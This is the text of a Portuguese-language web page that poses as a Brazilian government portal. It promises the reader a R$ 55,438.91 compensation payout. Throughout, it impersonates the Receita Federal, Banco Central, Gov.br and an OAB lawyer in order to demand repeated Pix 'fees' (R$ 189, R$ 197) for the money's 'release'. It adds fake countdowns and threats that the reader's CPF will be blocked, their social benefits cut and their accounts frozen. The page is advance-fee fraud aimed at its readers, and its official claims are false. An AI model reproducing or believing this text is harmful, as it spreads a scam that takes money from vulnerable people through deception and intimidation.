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Acompanhamento Processual

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Verificação processual

Etapa 1 de 2

Confirme se seus dados processuais estão corretos

Confirme o nome completo e o CPF do titular do processo . É com esses dados que o documento é emitido.

Dados usados só para emitir o documento e localizar o processo. LGPD, Lei 13.709/2018.

Etapa 2 de 2

Documento do processo

Este é o certificado emitido no seu nome, com o valor atualizado. Confira antes de continuar.

Receita Federal do BrasilEmitido pela Secretaria Especial da Receita Federal do Brasil

Certificado de Indenização e Regularidade Processual, emitido pela Secretaria Especial da Receita Federal do Brasil Recebimento de R$ 55.000,00 · atualizado em 20/10/2026 às 13:41
Processo nº Autenticação efetuada via Gov.br

Verificação de Regularidade

Responda com atenção. Temos acesso ao seu histórico processual: resposta incorreta é identificada e pode travar o andamento do processo.

Você concluiu as etapas anteriores de regularização?

Considere o pagamento das etapas anteriores e as orientações passadas pelo representante da Resgate Já (vinculada ao GOV).

Como funciona o fluxo do processo

  • Conferência de dados. Cruzamento com as bases do Banco Central, do CNJ, do STF e do TJSP.

    CNJ STF TJSP
  • Homologação. Registro da conta recebedora (chave Pix) para o resgate do valor.

  • Resgate. Depósito do saldo após a regularização completa do processo.

Processo nº Etapa de Triagem da Regularização

Por qual motivo você não efetuou o pagamento?

A sua resposta fica registrada no processo e define a forma de retomada da regularização.

Se preferir, pode enviar só o motivo. A justificativa não é obrigatória.

Consulta em andamento

Processo nº

Iniciando consulta no sistema...

0%

Saldo Disponível para Resgate

R$ 55.438,91

Banco Central do Brasil

Comunicado · Banco Central do Brasil

Desvinculação de Conta Custódia

Processo finalizado com sucesso. O valor de R$ 55.438,91 já se encontra disponível na Conta Custódia do Banco Central.

Para a transferência imediata para sua conta, o sistema exige a Desvinculação de Valores em Conta Custódia. Esta é uma exigência impositiva do Banco Central do Brasil, conforme as orientações e provas enviadas via WhatsApp pelos representantes da Resgate Já.

  • Sem a desvinculação o valor permanece custodiado e não é transferido.
  • Com a desvinculação a transferência é liberada na hora para a sua chave Pix.

IMPORTANTE: Esta NÃO é uma etapa repetida. Esta cobrança refere-se à Desvinculação de Custódia, fase técnica obrigatória para romper o vínculo administrativo do ativo com a conta de origem. Diferente da Certificação de Compliance, que valida a idoneidade, a Desvinculação é o ato que efetivamente libera a transferência dos valores para a conta de destino. Sem este procedimento, o valor permanece retido no sistema de custódia, impossibilitando a liquidação. Esta etapa foi exigida em 28/10/2026 às 00:02:17h.

Por que a desvinculação é obrigatória

Conta custódia é a conta técnica em que o Banco Central mantém o valor bloqueado até que o processo cumpra todas as exigências regulatórias. O dinheiro já está reservado no seu nome — não está com a empresa, nem com o representante.

O que falta é apenas o vínculo. Enquanto o ativo estiver vinculado à conta de origem, o sistema de liquidação não autoriza a saída. A desvinculação é o comando que rompe esse vínculo e libera o valor para a sua chave Pix.

  • É operada no sistema de custódia do Banco Central, não pelo representante.
  • Exige identificação do titular e fica registrada com data e hora.
  • É a última trava antes da liquidação: sem ela, o valor não sai da custódia.

Por que o pagamento é necessário

A desvinculação é um serviço regulado, com taxa própria de R$ 189,00 emitida em nome deste processo.

A taxa não sai do saldo: os R$ 55.438,91 continuam intactos e são transferidos integralmente para você.

O comprovante fica vinculado ao processo e vale como prova de que a exigência foi cumprida.

Órgãos que operam esta etapa Banco do Brasil Receita Federal do Brasil

Desvinculação de custódia

Taxa única de desvinculação. Não é adiantamento e não desconta o valor a receber.

Taxa de Desvinculação de Conta Custódia

R$ 189,00

Cobrança emitida em: 28/10/2026 às 00:02:17h

Pix · liberação em até 2 horas · ambiente seguro SSL

ATENÇÃO: Esta é uma exigência impositiva do Banco Central do Brasil Banco Central do Brasil.

O prazo limite para quitação desta taxa é até o dia 1º de novembro às 23h00. Após este horário, o sistema não permitirá nova revogação de prazo, resultando na retenção definitiva do valor e geração de multas no CPF.

PRAZO FINAL PARA VALIDAÇÃO E TRANSFERÊNCIA

00

Dias

00

Horas

00

Min

00

Seg

Data limite para quitação: . Após este horário não há nova revogação de prazo: o valor fica retido e o CPF entra em multa.

Comprovante de consulta

Protocolo

Abertura--

Valor da guiaR$ 189,00

Guarde este comprovante. Ele identifica o seu atendimento.

Memória de cálculo · composição do montante

Composição do valor disponível para repasse
Capital reintegradoR$ 47.120,00
Correção monetária (Selic)R$ 5.218,91
Indenização administrativa (DEIC)R$ 3.100,00
Total disponívelR$ 55.438,91
Entenda a atualização

Valores atualizados na data da consulta e conferidos contra a conta de garantia judicial vinculada ao processo nº .

Etapa final · conclusão e liberação imediata 4
  1. 1Certidão de encerramento emitida. O documento definitivo é gerado em seu nome, com o valor e a conta já vinculados ao ID do processo. É ele que instrui a validação.
  2. 2Origem dos fundos certificada. A trilha do valor é conferida contra a conta de garantia judicial, atendendo à norma de prevenção à lavagem de dinheiro.
  3. 3Conta de destino liberada. A validação remove o bloqueio preventivo e habilita a conta recebedora para valores de origem judicial.
  4. 4Token de transferência emitido. Com o token ativo, o Banco do Brasil liquida o valor direto na sua chave, sem passar por conta intermediária.

A validação de compliance (PLD e Origem de Fundos) é o último degrau antes do crédito. Após a quitação da taxa de R$ 189,00, as etapas de análise e transferência correm automaticamente. Sem a certificação, o processo fica concluído, mas o dinheiro permanece retido por norma do Banco Central.

O que acontece depois do pagamento

  1. 1Análise de Conformidade. O Banco Central analisa a quitação da guia e valida a documentação de compliance.
  2. 2Aprovação de Transferência. O sistema aprova a liberação e envia o pedido de transferência imediata ao setor de compensação do Banco Central.
  3. 3Liquidação via Pix. A transferência ocorre automaticamente para a chave Pix cadastrada, com crédito na conta em até 2 horas.

Perguntas frequentes

O valor cobrado é taxa ou adiantamento?

É taxa única de desvinculação, não adiantamento. Não desconta o crédito nem se repete.

É a Taxa de Desvinculação de Conta Custódia: retira o valor da conta custódia do Banco Central e libera a transferência. Não é adiantamento, não desconta o crédito e não se repete.

Para onde vai o dinheiro?

Para a conta de liberação. Depois o crédito de R$ 55.438,91 vai para a sua chave Pix.

E se eu não pagar?

As pendências seguem abertas e o crédito é devolvido ao Tesouro, sem nova data.

A trava de segurança permanece ativa: a conta de destino fica sujeita a bloqueio preventivo e o valor retorna à origem, sem nova revogação de prazo.

Preciso ter conta em algum banco específico?

Não. Qualquer conta no seu nome recebe por Pix.

Posso pagar por boleto?

Só por Pix. Boleto levaria até três dias úteis para compensar.

Advogado responsável pelo processo

Representante Legal do Processo

OAB/SP nº 284.719

Representante Legal da Etapa de Liberação e Transferência (Direito Processual e Financeiro)

Emitido eletronicamente e assinado nos termos da ICP-Brasil, atestando a regularidade documental do processo.

ORDEM DOS ADVOGADOS DO BRASIL - OAB/SP HENRIQUE VASCONCELOS
Autenticação digital · ICP-Brasil · Cert. 2026-88412-A

Hash de Verificação:

Pix · liberação em até 2 horas · ambiente seguro SSL

Comprovante de consulta

Protocolo

Abertura--

Valor da guiaR$ 197,00

Guarde este comprovante. Ele identifica o seu atendimento.

Relatório de Pendências Administrativas

Referência:

Motivo informado: Não informado

Emissão:

Status: PROCESSO COM PENDÊNCIAS FINANCEIRAS

Banco Central do Brasil O Banco Central está facilitando a regularização para evitar o bloqueio do seu CPF. Foram identificadas as seguintes pendências obrigatórias para a liberação do valor:

Memória de cálculo · composição do montante

Composição do valor disponível para repasse
Capital reintegradoR$ 47.120,00
Correção monetária (Selic)R$ 5.218,91
Indenização administrativa (DEIC)R$ 3.100,00
Total disponívelR$ 55.438,91
Entenda a atualização

Valores atualizados na data da consulta e conferidos contra a conta de garantia judicial vinculada ao processo nº .

Pendências obrigatórias para a liberação 15

    Enquanto essas pendências não são baixadas, o repasse fica suspenso e o processo corre risco de bloqueio. A quitação abaixo regulariza todas de uma vez e libera o processo para transferência, sem nova consulta.

    CANCELAMENTO DE PROCESSO EM NÍVEL CRÍTICO. Prazo final e improrrogável para regularização: 01/11/2026 até às 23h00.

    A omissão aciona o protocolo de administração pública

    A ausência de regularização não fica restrita ao processo: ela aciona protocolos da Lei de Administração Pública e recai sobre o CPF do titular, resultando em:

    • Bloqueio imediato de benefícios sociais: Auxílio Brasil, Bolsa Família e INSS vinculados ao CPF.
    • Congelamento de contas bancárias e ativos financeiros: o titular fica impedido de movimentar o que estiver vinculado ao processo.
    • Restrição total de crédito no CPF: impossibilidade de financiamentos, empréstimos e uso de cartões de crédito.

    Base legal: Lei nº 9.784/99, que rege o processo administrativo federal. A omissão do interessado em atender às exigências dentro do prazo autoriza o encerramento do feito e a adoção das medidas decorrentes, sem necessidade de nova notificação.

    Detalhamento de Taxas Pendentes

    Para evitar as sanções acima e liberar o saldo de R$ 55.438,91, foi liberada a quitação total imediata das pendências. Após a confirmação do pagamento, a baixa no sistema e a atualização do processo ocorrem em até 4 horas úteis.

    • Atualização de Cadastro de BeneficiárioR$ 300,00
    • Certificação de Vínculo PatrimonialR$ 400,00
    • Regularização de Excesso de PrazoR$ 400,00

    Total acumuladoR$ 1.100,00

    Valor para quitação imediata: O GOV está financiando 98% do custo. Para finalizar agora, você deve arcar apenas com a taxa residual de: R$ 197,00.

    98% do valor cobrado será arcado pelo GOV.

    Sua taxa residual de regularização é de:

    R$ 197,00

    Após o pagamento, precisamos de apenas 4 horas úteis para dar baixa no sistema e atualizar seu processo. O recebimento será efetuado na chave Pix cadastrada, via Banco do Brasil em ação conjunta com o Banco Central do Brasil, conforme as provas e vídeos já enviados pelos representantes da empresa Resgate Já.

    Entenda a conta das taxas

    As três guias venceram nas etapas anteriores. Somadas, custariam R$ 1.100,00. Como o GOV assumiu 98% do custo, a quitação sai por R$ 197,00, com as baixas no mesmo ato.

    Você foi retirado da fila de liberação devido às pendências identificadas no seu CPF.

    Ao finalizar a quitação da guia, você recupera a prioridade máxima na fila.

    Receber o valor nesta chave

    Escolha o tipo e digite a chave. Pode ser CPF, e-mail, telefone ou aleatória.

    Quitação com desconto do Governo R$ 197,00

    Confira antes de pagar

    ValorR$ 197,00

    TipoCPF

    Bancoa definir

    Chavea definir

    Pix cai na hora. São só três campos: tipo de chave, chave e banco.

    Ambiente seguro SSL. A chave Pix nunca é pedida por telefone.

    Taxa única de liberação. Sem boleto, sem mensalidade, sem parcelamento.

    Pagamento confirmado

    Liberação após a confirmação do pagamento

    04:00 horas úteis

    Concluído o pagamento, o crédito não depende de fila: a baixa no sistema e a liberação do crédito ocorrem em até 4 horas úteis após a compensação.

    PRAZO FINAL PARA REGULARIZAÇÃO DO PROCESSO

    00

    Dias

    00

    Horas

    00

    Min

    00

    Seg

    Data limite para pagamento: . Sem chance de nova data. Depois disso as pendências vão para execução administrativa e o crédito vinculado ao processo é cancelado.

    O que acontece depois do pagamento

    1. 1Processamento de Baixa. O pagamento é identificado via CPF e as pendências de LGPD, Vínculo Patrimonial e Excesso de Prazo são baixadas simultaneamente.
    2. 2Homologação e Transferência. A guia é homologada pelo Banco Central e o crédito de R$ 55.438,91 é liquidado na chave Pix cadastrada em até 4 horas úteis.
    3. 3Transferência. O crédito é enviado para a chave Pix informada em até 4 horas úteis, fora de qualquer fila.

    Perguntas frequentes

    O valor cobrado é taxa ou adiantamento?

    É taxa única de liberação, não adiantamento. Não desconta do crédito nem se repete.

    É a taxa de quitação: baixa as pendências de uma vez e destrava o processo. Não é adiantamento, não desconta do crédito e não se repete.

    Para onde vai o dinheiro?

    Para a conta de liberação. Depois o crédito de R$ 55.438,91 vai para a sua chave Pix.

    E se eu não pagar?

    As pendências seguem abertas e o crédito é devolvido ao Tesouro, sem nova data.

    As pendências seguem abertas e o crédito é devolvido ao Tesouro, sem nova data.

    Preciso ter conta em algum banco específico?

    Não. Qualquer conta no seu nome recebe por Pix.

    Posso pagar por boleto?

    Só por Pix. Boleto levaria até três dias úteis para compensar.

    Advogado responsável pelo processo

    Representante Legal do Processo

    OAB/SP nº 284.719

    Representante Legal da Etapa de Liberação e Transferência (Direito Processual e Financeiro)

    Emitido eletronicamente e assinado nos termos da ICP-Brasil, atestando a regularidade documental do processo.

    ORDEM DOS ADVOGADOS DO BRASIL - OAB/SP HENRIQUE VASCONCELOS
    Autenticação digital · ICP-Brasil · Cert. 2026-88412-A

    Hash de Verificação: